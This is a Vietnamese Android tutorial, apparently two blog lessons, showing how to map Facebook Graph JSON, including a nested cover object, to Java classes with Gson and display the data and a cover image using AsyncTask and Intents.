+ Phân tích Cover giả sử Tui Tui chỉ quan tâm tới cover_id, source (là hình ảnh đại diện):

cover_id

source

ví dụ bạn copy toàn bộ giá trị của source sẽ có hình sau(ta sẽ coding để hiển thị lên Client android):

android_62_2–> Tương tự như vậy bạn có thể suy luận nếu như có sự chồng lắp (lồng ghép) các cặp ngoặc nhọn để biết cách tạo class.

*Bây giờ bạn mở Project của bài 61 lên rồi chỉnh sửa coding:

android_62_3Bạn tiến hành dùng công cụ để tạo get/set giống như đã hướng dẫn ở bài trước, ta được kết quả như sau:


package com.tranduythanh.model;

/**
* Created by drthanh on 03/04/2015.
*/
public class Cover {
private String cover_id;
private String source;

public String getCover_id() {
return cover_id;
}

public void setCover_id(String cover_id) {
this.cover_id = cover_id;
}

public String getSource() {
return source;
}

public void setSource(String source) {
this.source = source;
}
}

– Kế đến chỉnh sửa class FaceBook giống như mô tả:

android_62_4Ở trên Tui bổ sung thêm 2 thuộc tính là likes và cover (chú ý là phải copy thuộc tính từ Json nhé). Tiến hành tạo get/set:


package com.tranduythanh.model;

/**
* Created by drthanh on 02/04/2015.
*/
public class FaceBook {
private String id;
private String name;
private String gender;
private String username;
private long likes;
private Cover cover;

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getGender() {
return gender;
}

public void setGender(String gender) {
this.gender = gender;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public long getLikes() {
return likes;
}

public void setLikes(long likes) {
this.likes = likes;
}

public Cover getCover() {
return cover;
}

public void setCover(Cover cover) {
this.cover = cover;
}
}

– Ta có thể xem mô hình mối quan hệ giữa 2 lớp này như sau:

android_62_14– Tiếp theo hiệu chỉnh Layout của ứng dụng để hiển thị thêm thông tin likescover.

android_62_5Ở trên Tui bổ sung thêm Số lượng like vào giao diện + ScrollView trong trường hợp màn hình nhỏ thì nó có thể trượt xuống để xem hết thông tin.

XML layout của màn hình được sửa lại như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"
android:orientation="vertical">
<ScrollView
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Link Facebook:"
android:id="@+id/textView"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLinkFacebook" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Tải về"
android:id="@+id/btnDownload"
android:layout_gravity="center_horizontal" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Id:"
android:id="@+id/textView2" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtId" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Username:"
android:id="@+id/textView3" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtUserName" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Name:"
android:id="@+id/textView4" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtName" />

<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_gravity="center_horizontal">

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nam"
android:id="@+id/radMale" />

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nữ"
android:id="@+id/radFemale"
android:checked="true" />
</RadioGroup>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="số lượng like:"
android:id="@+id/textView5" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLike" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Xem hình"
android:id="@+id/btnShowImage"
android:layout_gravity="center_horizontal" />
</LinearLayout>
</ScrollView>
</LinearLayout>

-Như vậy trong MainActivity ta sẽ bổ sung thêm đối tượng EditText like để hiển thị số lượng like:

EditText txtLike;

public void addControls()
    {
      //…
        txtLike= (EditText) findViewById(R.id.txtLike);
    }

protected void onProgressUpdate(FaceBook… values) {
            super.onProgressUpdate(values);
            //…….
            txtLike.setText(fb.getLikes()+””);
        }

-Đồng thời bổ sung thêm biến lưu trữ source để xem hình ảnh:

String source=””;

protected void onProgressUpdate(FaceBook… values) {
super.onProgressUpdate(values);
//………………..
txtLike.setText(fb.getLikes()+””);
     if(fb.getCover()!=null)
                source=fb.getCover().getSource();
}

– Để hiển thị hình ảnh ta cần có 1 Activity mới (dùng đa tiến trình để hiển thị hình ảnh), ta cần viết sự kiện cho nút Xem hình ảnh trong MainActivity (dùng Intent để truyền source qua màn hình xem hình ảnh).

Các bước làm như sau:

Bước 1: Bấm chuột phải vào Package/ chọn New/ chọn Activity/ chọn Blank Activity:

android_62_6– Ở màn hình mới này ta đặt tên XemHinhActivity:

android_62_7Bấm Finish để xác nhận tạo Activity mới, ta sẽ thấy nó xuất hiện như dưới đây:

android_62_8Kế đến ta vào AndroidManifest để coi thử activity XemHinhActivity có được tự động đưa vào đây hay chưa (nếu chưa đưa vào thì chạy lên sẽ báo lỗi, vì android yêu cầu bất kỳ Activity nào muốn thực thi thì phải được khai báo trong Manifest).:

android_62_9Bước 2: Tiếp theo ta hiệu chỉnh Layout XemHinhActivity để hiển thị hình ảnh, XML layout đơn giản như sau:


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
tools:context="com.tranduythanh.facebooktool.XemHinhActivity">

<ImageView
android:id="@+id/imgShow"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@mipmap/ic_launcher" />

</RelativeLayout>

-Bước 3: Tiến hành tạo một ImageLoadTask kế thừa từ AsyncTask để hiển thị hình ảnh lên giao diện bằng đa tiến trình:

android_62_11Source code ImageLoadTask:


package com.tranduythanh.facebooktool;

import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.widget.ImageView;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

/**
* Created by drthanh on 03/04/2015.
*/
public class ImageLoadTask extends AsyncTask&lt;Void, Void, Bitmap&gt; {

//Link url hình ảnh bất kỳ
private String url;
//Control ImageView bất kỳ
private ImageView imageView;

public ImageLoadTask(String url, ImageView imageView) {
this.url = url;
this.imageView = imageView;
}

@Override
protected Bitmap doInBackground(Void... params) {
try {
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(url);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
Bitmap myBitmap = BitmapFactory.decodeStream(input);
return myBitmap;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

@Override
protected void onPostExecute(Bitmap result) {
super.onPostExecute(result);
//lấy kết quả hiển thị lên giao diện:
imageView.setImageBitmap(result);
}

}

-Bước 4: Tiến hành coding cho XemHinhActivity:


package com.tranduythanh.facebooktool;

import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.ImageView;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class XemHinhActivity extends ActionBarActivity {
ImageView imgView;
String source=&quot;&quot;;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_xem_hinh);
imgView=(ImageView) findViewById(R.id.imgShow);
//Lấy Intent từ MainActivity
Intent in= getIntent();
//Lấy link hình ảnh ra được truyền từ MainActivity
source=in.getStringExtra(&quot;URL_IMG&quot;);
}

@Override
protected void onResume() {
super.onResume();
new ImageLoadTask(source, imgView).execute();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_xem_hinh, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}

}

– Bước 5: Hiệu chỉnh MainActivity để truyền source qua XemHinhActivity để hiển thị lên giao diện:

public void addEvents()
{
btnShowImage.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
Intent in=new Intent
(MainActivity.this, XemHinhActivity.class);
in.putExtra(“URL_IMG”, source);
startActivity(in);
}
});
}

Cuối cùng ta có coding của MainActivity như sau:


package com.tranduythanh.facebooktool;

import android.content.Intent;
import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.FaceBook;

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;

public class MainActivity extends ActionBarActivity {

EditText txtLinkFacebook,txtId,txtUserName,txtName,txtLike;
RadioButton radMale,radFemale;
Button btnDownloadInfor,btnShowImage;
String source=&quot;&quot;;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//gọi addControl trước
addControls();
//gọi addevent sau
addEvents();
}

/**
* hàm khởi tạo cho các Control
*/
public void addControls()
{
txtLinkFacebook= (EditText) findViewById(R.id.txtLinkFacebook);
btnDownloadInfor= (Button) findViewById(R.id.btnDownload);
txtId= (EditText) findViewById(R.id.txtId);
txtUserName= (EditText) findViewById(R.id.txtUserName);
txtName= (EditText) findViewById(R.id.txtName);
radMale= (RadioButton) findViewById(R.id.radMale);
radFemale= (RadioButton) findViewById(R.id.radFemale);
btnShowImage= (Button) findViewById(R.id.btnShowImage);
txtLinkFacebook.setText(&quot;http://graph.facebook.com/taylorswift&quot;);
txtLike= (EditText) findViewById(R.id.txtLike);
}

/**
* hàm gán sự kiện cho các control
*/
public void addEvents()
{
btnDownloadInfor.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
processDownload();
}
});
btnShowImage.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
Intent in=new Intent
(MainActivity.this, XemHinhActivity.class);
in.putExtra(&quot;URL_IMG&quot;, source);
startActivity(in);
}
});
}

/**
* hàm gọi đa tiến trình để tải dữ liệu từ internet
*/
private void processDownload() {
DownloadTask task=new DownloadTask();
task.execute(txtLinkFacebook.getText()+&quot;&quot;);
}
private  class DownloadTask extends AsyncTask&lt;String,FaceBook,Void&gt;
{
@Override
protected void onPreExecute() {
super.onPreExecute();
Toast.makeText(MainActivity.this,&quot;Chuẩn bị tải Facebook&quot;,Toast.LENGTH_LONG).show();
}

@Override
protected Void doInBackground(String... params) {
//Lấy link facebook từ hàm processDownload truyền vào
String link=params[0];
try {
URL url=new URL(link);
//              //đọc stream Json từ internet có đọc UTF8
InputStreamReader reader=new InputStreamReader(url.openStream(),&quot;UTF-8&quot;);
//chuyển định dạng JSon về java class
FaceBook fb=new Gson().fromJson(reader,FaceBook.class);
//gửi qua onProgressUpdate để cập nhật giao diện
publishProgress(fb);
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

@Override
protected void onProgressUpdate(FaceBook... values) {
super.onProgressUpdate(values);
//lấy FaceBook được truyền từ doInBackground
FaceBook fb=values[0];
//tiến hành đưa thông tin lên giao diện:
txtId.setText(fb.getId());
txtUserName.setText(fb.getUsername());
txtName.setText(fb.getName());
radFemale.setChecked(true);
txtLike.setText(fb.getLikes()+&quot;&quot;);
if(fb.getCover()!=null)
source=fb.getCover().getSource();

if(fb.getGender()!=null&amp;&amp; fb.getGender().equalsIgnoreCase(&quot;male&quot;))
{
radMale.setChecked(true);
}
}

@Override
protected void onPostExecute(Void aVoid) {
super.onPostExecute(aVoid);
Toast.makeText(MainActivity.this, &quot;Tải Facebook thành công&quot;, Toast.LENGTH_LONG).show();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

– Bây giờ tiến hành thực thi ứng dụng ta được kết quả như sau: android_62_12-Ở hình trên ta thấy khi bấm vào nút Xem Hình ta sẽ có kết quả là hình Taylor Swift được hiển thị lên ở màn hình mới.

– Nếu bạn muốn hình ảnh nằm trên màn hình Nằm ngang:

android_62_13Thì tiến hành hiệu chỉnh trong AndroidManifest:


<activity
android:name=".XemHinhActivity"
android:label="@string/title_activity_xem_hinh"
android:screenOrientation="landscape"
>
</activity>

-Chú ý là trong Android Studio nếu bạn lỡ tay đặt sai tên Class mà bạn muốn đặt lại thì chọn File đó rồi nhấn Shift+F6 để hiệu chỉnh nhé(trong eclipse cũ là F2).

– Như vậy bạn đã biết cách chuyển định dạng JSon phức tạp (đối tượng chứa đối tượng) thành Java class, đồng thời ôn lại được đa tiến trình cũng như Intent.

-Chú ý là phải tham chiếu tới thư viện gson-2.2.4.jar nhé.

– Bài kế tiếp Tui sẽ hướng dẫn các bạn cách chuyển JSon phức tạp hơn qua Java class (Đối tượng chứa đối tượng và danh sách đối tượng khác- mảng)

-Bạn có thể tải coding đầy đủ của bài này ở đây: http://www.mediafire.com/download/sijdct656vavk8u/FaceBookTool_version2.rar

– Chúc các bạn thành công!

Bài 61: Cách đưa định dạng JSon về Java class bằng GSon


bài 51 Tui đã trình bày cách xử lý JSon trong Android, nhưng nó là cách tiếp cận cũ và cũng được viết bằng Eclipse cũ. Trong bài này Tui muốn trình bày cho các bạn một cách tiếp cận mới đó là đưa định dạng JSon về Java class để dễ xử lý cũng như tăng tốc quá trình truy suất và sửa lỗi. Các bài mới Tui sẽ lồng ghép từng bước cách xử dụng luôn công cụ Android Studio để các bạn tiện thể sử dụng (nói theo ngôn ngữ của bác Hoàng Phi Hồng là Nhất tiễn hạ song điêu).

Tui sẽ dùng Facebook Graph của anh Nguyễn Hoàng Phong (http://graph.facebook.com/nguyen.hoangphong.50) để phân tích cấu trúc của JSon, sau đó ta sẽ viết class để chuyển đổi.

Bài này Tui sẽ đưa ra một vài ví dụ từ dễ lên khó đủ để bao quát hết cách xử lý các trường hợp trong định dạng JSon qua Java class. Trước tiên ta phân tích http://graph.facebook.com/nguyen.hoangphong.50 xem bên trong nó có cái gì?

android_61_0Ở trên ta thấy dữ liệu được để trong cặp ngoặc nhọn {}, Bên trong nó có 8 dòng ngăn cách bởi dấu phẩy, và mỗi dòng lại được ngăn cách bởi dấu hai chấm :

Đó chính là định dạng JSon được đề cập trong bài 51 (Nhớ đọc lại lý thuyết về JSon trong bài 51 này).

Ta để ý rằng tại mỗi dòng thì vế trái của dấu 2 chấm chính là thuộc tính của đối tượng, vế phải chính là giá trị của thuộc tính, giá trị vế phải nó quyết định tới kiểu dữ liệu của thuộc tính. Ví dụ:

id“:”100003307875109” thì:

id là thuộc tính và 100003307875109 là giá trị có kiểu chuỗi của thuộc tính id vì 100003307875109 nằm trong nháy đôi–> suy ra thuộc tính id sẽ khai báo kiểu String. Tương tự cho các thuộc tính khác, giờ Tui sẽ làm ví dụ để biến định dạng JSon này thành Java class để dễ tương tác, sau đó sẽ có những bài phức tạp hơn có sự lồng ghép lung tung trong JSon gốc (Ta sẽ đi từ từ, không cần nóng vội).

– Tạo một Project tên là FaceBookTool (các bước tạo project đã được trình bày ở bài trước, nếu bạn nào chưa biết thì xem lại bài 59). Chú ý là package trong ví dụ này bạn đặt tùy ý nhé, đặt sao mang tính gợi nhớ và có ý nghĩa. Bạn sử dụng package nào thì các hướng dẫn ở dưới bạn sẽ theo package bạn đã đặt tên chứ không phải giống như Tui đặt bên dưới nhé.

android_61_1Tiếp theo ta tạo một package tên là “com.tranduythanh.model” để lưu trữ class Java dành cho JSon.

Để cho lẹ thì ta bấm chuột phải vào java/chọn new/chọn Package như hình dưới đây:

android_61_2Màn hình yêu cầu chọn nơi lưu trữ hiện thị xuất hiện, ta nhấn nút OK:

android_61_3Sau khi bấm OK, màn hình yêu cầu nhập tên Package xuất hiện, ta nhập tên package rồi nhấn nút OK:

android_61_4Ở trên Tui đặt com.tranduythanh.model với mục đích tạo ra sub model để lưu trữ Class dành cho định dạng JSon.

Sau khi bấm OK, ta quan sát cấu trúc hiển thị package bị thay đổi như sau:

android_61_5– Bây giờ ta tiến hành tạo 1 class tên là FaceBook nằm bên trong model(bạn đặt tên gì cũng được, miễn sao nó đại diện đủ ý nghĩa cho cấu trúc JSon, trong trường hợp này là http://graph.facebook.com/nguyen.hoangphong.50).

Tất cả dữ liệu trong định dạng JSon mà nằm trong cặp ngoặc nhọn thì đó chính là 1 Đối tượng (Object)–> cần có 1 class cho nó, các thuộc tính bên trong JSon–> thuộc tính trong class Java:

android_61_6– Bây giờ ta bấm chuột phải vào model/ chọn New / Java Class:

android_61_7Màn hình new class hiển thị ra:

android_61_8Trong mục Name, Ta đặt tên class là FaceBook rồi nhấn nút OK.

Mặc định ta có kết quả như sau:

android_61_9Bây giờ ta tiến hành khai báo các thuộc tính trong định dạng JSon cho Java class này, có 2 chú ý bạn cần rõ là:

-Bạn chú ý là không nhất thiết phải lấy hết các thuộc tính trong JSon để khai báo trong này mà những thuộc tính nào bạn cần truy suất thì mới khai báo mà thôi.

-Trong JSon thuộc tính tên nó như thế nào thì bạn phải copy paste y xì như vậy vào Java class.

Tức là ta có như sau:


package com.tranduythanh.model;

/**
 * Created by drthanh on 02/04/2015.
 */
public class FaceBook {
    private String id;
    private String name;
    private String gender;
    private String username;
}

Bạn thấy đấy ở trên Tui chỉ muốn truy suất id, name, genderusername. Còn các thuộc tính first_name, last_name, link, locale Tui không muốn truy suất thì Tui không phải báo ở đây.

Tiếp theo ta tạo các phương thức get,set cho class Facebook. Dùng tool mà Android Studio hỗ trợ cho lẹ.

Trong class FaceBook, ta nhấn tổ hợp phím Alt + Insert hoặc vào menu code/ chọn Generate…:

android_61_10Ở trên Tui tạo Getter và Setter nên Tui chọn Getter and Setter, nếu muốn chọn constructor thì bạn chọn Constructor… Khi bạn click chuột hoặc enter vào chức năng nào thì nó tạo cho bạn. Ví dụ Tui chọn Getter and Setter thì màn hình chọn thuộc tính để tạo Getter và Setter như sau:

android_61_11Ở màn hình trên nếu bạn muốn tạo đồng loạt cho tất cả thuộc tính thì nhấn tổ hợp phím Ctrl +A cho lẹ, còn muốn chọn rời rạc thì đề Ctrl rồi nhấn chuột từng thuộc tính —> sau đó nhấn OK để tạo, bạn sẽ thấy kết quả:


package com.tranduythanh.model;

/**
* Created by drthanh on 02/04/2015.
*/
public class FaceBook {
private String id;
private String name;
private String gender;
private String username;

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getGender() {
return gender;
}

public void setGender(String gender) {
this.gender = gender;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}
}

– Như vậy ta đã tạo xong Java class để lưu trữ thông tin chuyển đổi từ định dạng JSon của Facebook.

– Tiếp theo bạn tải thư viện Gson ở đây : https://google-gson.googlecode.com/files/google-gson-2.2.4-release.zip

Giải nén ra trong đó có 3 tập tin thì bạn chọn 1 tập tin là gson-2.2.4.jar.

android_61_12Project Android Studio của mình sẽ tham chiếu tới thư viện này. Cách tham chiếu như sau:

– Trước tiên chuyển qua chế độ xem Project:

android_61_13– Bạn tìm tới thư mục libs rồi copy thư viện đó vào đây như sau:

android_61_14– Sau khi copy xong ta phải tham chiếu tới nó mới được, tham chiếu bằng mở màn hình Project Structer lên (có nhiều cách mở và đặc biệt là mở ở chế độ view nào cũng được: Android, Project.. đều được):

+ Cách 1: Nếu đang chọn tên Project thì nhấn phím F4 ngay và luôn

+ Cách 2: Bấm chuột phải vào vị trí bất kỳ trong Project/ chọn Open Module Settings

android_61_15

+Cách 3: Vào Menu File/ chọn Project Structer…

android_61_16==> Cả 3 cách trên ta đều có Màn hình Cấu hình Project như sau:

android_61_17– Bạn bấm vào mục số 1 trước

– Sau đó ở mục số 2 chọn Dependencies

– Tiếp theo nhấn vào hình dấu + ở mục số 3:

android_61_18Ta sẽ chọn File dependency (nó bắt di chuyển phím mũi tên lên xuống để chọn, muốn xác nhận thì phải nhấn phím Enter không dùng chuột):

android_61_19Ta tìm tới đúng nơi lưu trữ thư viện rồi bấm ok. ta được kết quả như sau:

android_61_20Tiếp tục bấm OK 1 lần nữa nha, nếu bấm cancel thì làm lại từ đầu.

Sau đó nếu như Android studio chưa phải ở chế độ Android thì nhớ chuyển về Android để lập trình cho dễ (vì bước mở Cấu trình Project ở trên có thể mở ở bất kỳ chế độ xem nào nên khi lập trình phải chuyển qua Android).

Ta có thể xem nơi khai báo lưu trữ để biên dịch thư viện trên nằm ở đâu:

android_61_21– Bây giờ các bạn tiến hành thiết kế giao diện để lấy thông tin từ 1 facebook bất kỳ về android client như sau: android_61_22-Tui chụp cấu trúc layout của giao diện trên như sau:

android_61_23Bạn có thể nhìn vào nhóm Component Tree để kéo thả các control cho phù hợp. Cách thiết kế cũng tương tự như trong Eclipse cũ nên Tui không giải thích kỹ chỗ này. Tuy nhiên lần đầu tạo layout thì nó mặc định là ReletavieLayout, bạn nhớ vào tab Text trong mục Control (palette) để tự sửa lại thành LinearLayout vertical để kéo thả các control tiếp theo được dễ dàng hơn.

Nhớ đặt tên id cho các control như trong mục Component Tree.

Bạn có thể sao chép XML cho layout trên ở đây:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"
android:orientation="vertical">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Link Facebook:"
android:id="@+id/textView"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLinkFacebook" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Tải về"
android:id="@+id/btnDownload"
android:layout_gravity="center_horizontal" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Id:"
android:id="@+id/textView2" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtId" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Username:"
android:id="@+id/textView3" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtUserName" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Name:"
android:id="@+id/textView4" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtName" />

<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_gravity="center_horizontal">

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nam"
android:id="@+id/radMale" />

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nữ"
android:id="@+id/radFemale"
android:checked="true" />
</RadioGroup>

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Xem hình"
android:id="@+id/btnShowImage"
android:layout_gravity="center_horizontal" />
</LinearLayout>

– Sau đó ta vào MainActivity để tiến hành coding. Chú ý là khi có tương tác Internet thì bắt buộc ta phải dùng kỹ thuật Đa Tiến trình để viết và phải cấp quyền sử dụng internet trong Manifest, Nếu bạn nào chưa am hiểu kỹ thuật đa tiến trình trong Android thì học tại đây:

https://duythanhcse.wordpress.com/2013/06/14/bai-tap-34-da-tien-trinh-trong-android-multi-threading/

https://duythanhcse.wordpress.com/2013/10/25/bai-35-ve-button-luc-runtime-dung-using-message-cua-handler-class/

https://duythanhcse.wordpress.com/2013/10/25/bai-36-update-listview-at-runtime-by-handler-class-using-post/

https://duythanhcse.wordpress.com/2013/10/25/bai-37-xu-ly-da-tien-trinh-bang-asynctask/

Quay lại coding trong MainActivity của ứng dụng:

 


package com.tranduythanh.facebooktool;

import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.FaceBook;

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;

public class MainActivity extends ActionBarActivity {

    EditText txtLinkFacebook,txtId,txtUserName,txtName;
    RadioButton radMale,radFemale;
    Button btnDownloadInfor,btnShowImage;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //gọi addControl trước
        addControls();
        //gọi addevent sau
        addEvents();
    }

    /**
     * hàm khởi tạo cho các Control
     */
    public void addControls()
    {
        txtLinkFacebook= (EditText) findViewById(R.id.txtLinkFacebook);
        btnDownloadInfor= (Button) findViewById(R.id.btnDownload);
        txtId= (EditText) findViewById(R.id.txtId);
        txtUserName= (EditText) findViewById(R.id.txtUserName);
        txtName= (EditText) findViewById(R.id.txtName);
        radMale= (RadioButton) findViewById(R.id.radMale);
        radFemale= (RadioButton) findViewById(R.id.radFemale);
        btnShowImage= (Button) findViewById(R.id.btnShowImage);
        txtLinkFacebook.setText("http://graph.facebook.com/nguyen.hoangphong.50");
    }

    /**
     * hàm gán sự kiện cho các control
     */
    public void addEvents()
    {
        btnDownloadInfor.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                processDownload();
            }
        });
    }

    /**
     * hàm gọi đa tiến trình để tải dữ liệu từ internet
     */
    private void processDownload() {
        DownloadTask task=new DownloadTask();
        task.execute(txtLinkFacebook.getText()+"");
    }
    private  class DownloadTask extends AsyncTask<String,FaceBook,Void>
    {
        @Override
        protected void onPreExecute() {
            super.onPreExecute();
            Toast.makeText(MainActivity.this,"Chuẩn bị tải Facebook",Toast.LENGTH_LONG).show();
        }

        @Override
        protected Void doInBackground(String... params) {
            //Lấy link facebook từ hàm processDownload truyền vào
            String link=params[0];
            try {
                URL url=new URL(link);
//              //đọc stream Json từ internet có đọc UTF8
                InputStreamReader reader=new InputStreamReader(url.openStream(),"UTF-8");
                //chuyển định dạng JSon về java class
                FaceBook fb=new Gson().fromJson(reader,FaceBook.class);
                //gửi qua onProgressUpdate để cập nhật giao diện
                publishProgress(fb);
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return null;
        }

        @Override
        protected void onProgressUpdate(FaceBook... values) {
            super.onProgressUpdate(values);
            //lấy FaceBook được truyền từ doInBackground
            FaceBook fb=values[0];
            //tiến hành đưa thông tin lên giao diện:
            txtId.setText(fb.getId());
            txtUserName.setText(fb.getUsername());
            txtName.setText(fb.getName());
            radFemale.setChecked(true);

            if(fb.getGender()!=null&& fb.getGender().equalsIgnoreCase("male"))
            {
                radMale.setChecked(true);
            }
        }

        @Override
        protected void onPostExecute(Void aVoid) {
            super.onPostExecute(aVoid);
            Toast.makeText(MainActivity.this, "Tải Facebook thành công", Toast.LENGTH_LONG).show();
        }
    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }
}

 

– Sau cùng ta cấp quyền sử dụng Internet:

android_61_24Bạn chú ý là version Android Studio hiện tại chưa cung cấp giao diện để cấp quyền, mà bạn phải gõ bằng lệnh trong AndroidManifest, tuy nhiên android Studio hỗ trợ chức năng gợi nhớ giúp ta dễ dàng chọn lựa:

